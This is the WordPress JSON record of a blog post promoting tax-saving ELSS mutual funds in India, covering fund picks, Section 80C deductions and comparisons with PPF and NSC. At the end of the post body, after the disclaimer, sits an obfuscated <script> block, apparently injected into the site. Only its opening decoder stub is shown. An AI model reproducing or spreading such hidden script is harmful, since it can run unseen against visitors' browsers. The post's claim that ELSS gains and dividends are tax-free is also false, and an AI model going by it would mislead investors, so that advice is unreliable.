{"id":3038,"date":"2023-01-13T17:52:00","date_gmt":"2023-01-13T17:52:00","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=3038"},"modified":"2023-11-29T10:59:29","modified_gmt":"2023-11-29T10:59:29","slug":"tax-saving-mutual-funds-in-india","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/tax-saving-mutual-funds-in-india\/","title":{"rendered":"Unleashing the Power of Tax Saving Mutual Funds in India"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/tax-saving-mutual-funds-in-india\/#What_Are_Tax_Saving_Mutual_Funds_ELSS\" >What Are Tax Saving Mutual Funds (ELSS)?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/tax-saving-mutual-funds-in-india\/#How_Do_ELSS_Funds_Work\" >How Do ELSS Funds Work?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/tax-saving-mutual-funds-in-india\/#Why_Choose_ELSS\" >Why Choose ELSS?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/tax-saving-mutual-funds-in-india\/#Multiple_Tax_Saving_Mutual_Funds_in_India\" >Multiple Tax Saving Mutual Funds in India<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/tax-saving-mutual-funds-in-india\/#Tax_Benefits_of_Investing_in_ELSS_Funds\" >Tax Benefits of Investing in ELSS Funds<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/tax-saving-mutual-funds-in-india\/#How_to_Invest_in_Tax_Saving_Mutual_Funds\" >How to Invest in Tax Saving Mutual Funds<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/tax-saving-mutual-funds-in-india\/#Tax_Saving_Mutual_Funds_vs_Other_Tax-Saving_Instruments\" >Tax Saving Mutual Funds vs. Other Tax-Saving Instruments<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/tax-saving-mutual-funds-in-india\/#Tax_Saving_Strategies_with_ELSS_Funds\" >Tax Saving Strategies with ELSS Funds<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/tax-saving-mutual-funds-in-india\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/shoonya.com\/blog\/tax-saving-mutual-funds-in-india\/#FAQs_on_Tax_Saving_Mutual_Funds\" >FAQs on Tax Saving Mutual Funds<\/a><\/li><\/ul><\/nav><\/div>\n\n<p class=\"wp-block-paragraph\">Tax planning is an important aspect of financial management for Indian investors. Tax-saving mutual funds, also known as Equity-Linked Savings Schemes (ELSS), have emerged as a popular avenue to not only save taxes but also grow your wealth. In this comprehensive guide, we will explore tax-saving mutual funds in India, highlighting the best options, tax benefits, and strategies to help you make informed investment decisions.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_Are_Tax_Saving_Mutual_Funds_ELSS\"><\/span><strong>What Are Tax Saving Mutual Funds (ELSS)?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Tax saving mutual funds, or ELSS, are a category of mutual funds that offer dual benefits &#8211; potential for capital appreciation and tax savings under Section 80C of the Income Tax Act. These funds primarily invest in equities, providing investors with an opportunity to participate in the stock market while enjoying tax deductions.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"How_Do_ELSS_Funds_Work\"><\/span><strong>How Do ELSS Funds Work?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Investors in ELSS funds can claim deductions of up to Rs. 1.5 lakh on their taxable income under Section 80C. ELSS funds come with a lock-in period of 3 years, which is the shortest among all other tax-saving instruments under Section 80C.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Why_Choose_ELSS\"><\/span><strong>Why Choose ELSS?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">ELSS funds offer several advantages:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Higher Potential Returns: ELSS funds primarily invest in equities, which have the potential to deliver higher returns over the long term compared to traditional tax-saving instruments.<\/li>\n\n\n\n<li>Shorter Lock-In Period: The three-year lock-in period is the shortest among Section 80C investments, providing liquidity after this period.<\/li>\n\n\n\n<li>Tax Benefits: ELSS investments qualify for deductions up to Rs. 1.5 lakh, reducing your taxable income.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Multiple_Tax_Saving_Mutual_Funds_in_India\"><\/span><strong>Multiple Tax Saving Mutual Funds in India<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Now, let&#8217;s explore some of the best tax-saving mutual funds available in India.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1. Axis Long-Term Equity Fund<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Fund Manager: Jinesh Gopani<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Consistent track record of performance.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Focus on large-cap stocks for stability.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2. Mirae Asset Tax Saver Fund<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Fund Manager: Neelesh Surana<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Strong performance across market cycles.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Diversified portfolio with a blend of large-cap and mid-cap stocks.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3. Aditya Birla Sun Life Tax Relief 96<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Fund Manager: Ajay Garg<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A history of long-term wealth creation.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Investments in a mix of large-cap and mid-cap stocks.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">4. ICICI Prudential Long-Term Equity Fund<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Fund Manager: Sankaran Naren<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Known for consistent returns.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Invests in a blend of equity and equity-related instruments.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">5. DSP Tax Saver Fund<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Fund Manager: Rohit Singhania<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Focus on long-term wealth creation.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Diversified portfolio across sectors.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Note-<\/strong> It is important to do proper research before choosing any tax-saving mutual fund investment option.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tax_Benefits_of_Investing_in_ELSS_Funds\"><\/span><strong>Tax Benefits of Investing in ELSS Funds<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">One of the primary reasons investors opt for ELSS funds is the tax benefits they have to offer:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1. Deductions Under Section 80C<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Investments in ELSS funds qualify for deductions of up to Rs. 1.5 lakh from your taxable income under the Section 80C.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2. Potential for Tax-Free Gains<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Gains from ELSS funds, including dividends and capital appreciation, are tax-free in the hands of the investor.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3. Short Lock-In Period<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">ELSS funds have a lock-in period of just 3 years, allowing for quicker access to your investments compared to other Section 80C options.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"How_to_Invest_in_Tax_Saving_Mutual_Funds\"><\/span><strong>How to Invest in Tax Saving Mutual Funds<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Investing in ELSS funds is a straightforward process:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1. Choose a Fund<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Select one or more ELSS funds based on your risk tolerance, investment horizon, and financial goals.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2. KYC Compliance<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Complete your Know Your Customer (KYC) verification with the chosen fund house or through a registered KYC agency.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3. Invest Online<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Most fund houses offer online investment platforms. You can invest directly through their websites or use zero brokerage online investment platform.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">4. SIP or Lump Sum<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Decide whether you want to invest through a Systematic Investment Plan (SIP) or make a lump-sum investment.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">5. Monitor Your Investments<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Keep track of your ELSS investments and review your portfolio periodically in order to make sure that it aligns with your financial goals.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tax_Saving_Mutual_Funds_vs_Other_Tax-Saving_Instruments\"><\/span><strong>Tax Saving Mutual Funds vs. Other Tax-Saving Instruments<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Let&#8217;s compare ELSS funds with other popular tax-saving instruments:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>ELSS vs. Public Provident Fund (PPF)<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">ELSS offers potentially higher returns but comes with market risks.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">PPF provides guaranteed returns and a longer lock-in period.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>ELSS vs. National Savings Certificate (NSC)<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">ELSS provides the opportunity for higher returns but carries market-related risks.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">NSC offers fixed returns and a longer lock-in period.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>ELSS vs. Employee Provident Fund (EPF)<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">ELSS has a shorter lock-in period and the potential for higher returns.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">EPF offers safety and a more extended lock-in period.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>ELSS vs. Tax-Saving Fixed Deposits<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">ELSS has the potential for higher returns but involves market risks.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Tax-saving FDs provide fixed returns with a lock-in period.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tax_Saving_Strategies_with_ELSS_Funds\"><\/span><strong>Tax Saving Strategies with ELSS Funds<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">To maximize the benefits of ELSS funds, consider these strategies:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1. Start Early<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Invest in ELSS funds at the beginning of the financial year to make the most of compounding and tax benefits.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2. Diversify Your Portfolio<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Consider investing in multiple ELSS funds to diversify your portfolio and manage risks effectively.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3. Use SIPs for Regular Investing<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Systematic Investment Plans (SIPs) allow you to invest small amounts regularly, reducing the impact of market volatility.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">4. Align with Financial Goals<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Invest in ELSS funds that align with your financial goals, whether it&#8217;s wealth creation or long-term savings.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span><strong>Conclusion<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Tax saving mutual funds, particularly ELSS, offer a compelling combination of tax benefits and wealth-creation opportunities for Indian investors. By understanding how ELSS funds work, choosing the right funds out of the list of the best tax-saving mutual funds, and employing tax-saving strategies, you can optimise your tax planning while building a robust financial future. Remember that while ELSS funds have the potential for higher returns, they also come with market risks, so it&#8217;s essential to align your investments with your financial goals and risk tolerance.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"FAQs_on_Tax_Saving_Mutual_Funds\"><\/span><strong>FAQs on Tax Saving Mutual Funds<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1701255282083\"><strong class=\"schema-faq-question\">Are ELSS investments risky?<\/strong> <p class=\"schema-faq-answer\">ELSS funds primarily invest in equities, making them subject to market risks. However, they also have the potential for higher returns.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1701255312622\"><strong class=\"schema-faq-question\">What happens after the three-year lock-in period for ELSS funds?<\/strong> <p class=\"schema-faq-answer\">After the lock-in period, you can choose to redeem your investment or continue holding the units based on your financial goals.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1701255375078\"><strong class=\"schema-faq-question\">Are ELSS dividends taxable?<\/strong> <p class=\"schema-faq-answer\">No, dividends received from ELSS funds are tax-free in the hands of investors.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1701255404271\"><strong class=\"schema-faq-question\">Can NRIs invest in ELSS funds?<\/strong> <p class=\"schema-faq-answer\">Yes, Non-Resident Indians (NRIs) are eligible to invest in ELSS funds, subject to compliance with Indian regulations.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Tax-saving mutual funds, also known as Equity-Linked Savings Schemes (ELSS), have emerged as a popular avenue to not only save taxes but also grow your wealth. In this comprehensive guide, we will explore tax-saving mutual funds in India, highlighting the best options, tax &hellip; <a href=\"https:\/\/shoonya.com\/blog\/tax-saving-mutual-funds-in-india\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Unleashing the Power of Tax Saving Mutual Funds in India&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":3039,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[764],"tags":[1466,1465,1467],"class_list":["post-3038","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tax","tag-benefits-of-investing-in-the-mutual-funds","tag-best-tax-savings-mutual-funds","tag-mutual-funds-help-you-save-tax"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - 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However, they also have the potential for higher returns.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/tax-saving-mutual-funds-in-india\/#faq-question-1701255312622","position":2,"url":"https:\/\/shoonya.com\/blog\/tax-saving-mutual-funds-in-india\/#faq-question-1701255312622","name":"What happens after the three-year lock-in period for ELSS funds?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"After the lock-in period, you can choose to redeem your investment or continue holding the units based on your financial goals.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/tax-saving-mutual-funds-in-india\/#faq-question-1701255375078","position":3,"url":"https:\/\/shoonya.com\/blog\/tax-saving-mutual-funds-in-india\/#faq-question-1701255375078","name":"Are ELSS dividends taxable?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"No, dividends received from ELSS funds are tax-free in the hands of investors.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/tax-saving-mutual-funds-in-india\/#faq-question-1701255404271","position":4,"url":"https:\/\/shoonya.com\/blog\/tax-saving-mutual-funds-in-india\/#faq-question-1701255404271","name":"Can NRIs invest in ELSS funds?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Yes, Non-Resident Indians (NRIs) are eligible to invest in ELSS funds, subject to compliance with Indian regulations.","inLanguage":"en-US"},"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/3038","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=3038"}],"version-history":[{"count":2,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/3038\/revisions"}],"predecessor-version":[{"id":5761,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/3038\/revisions\/5761"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/3039"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=3038"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=3038"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=3038"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}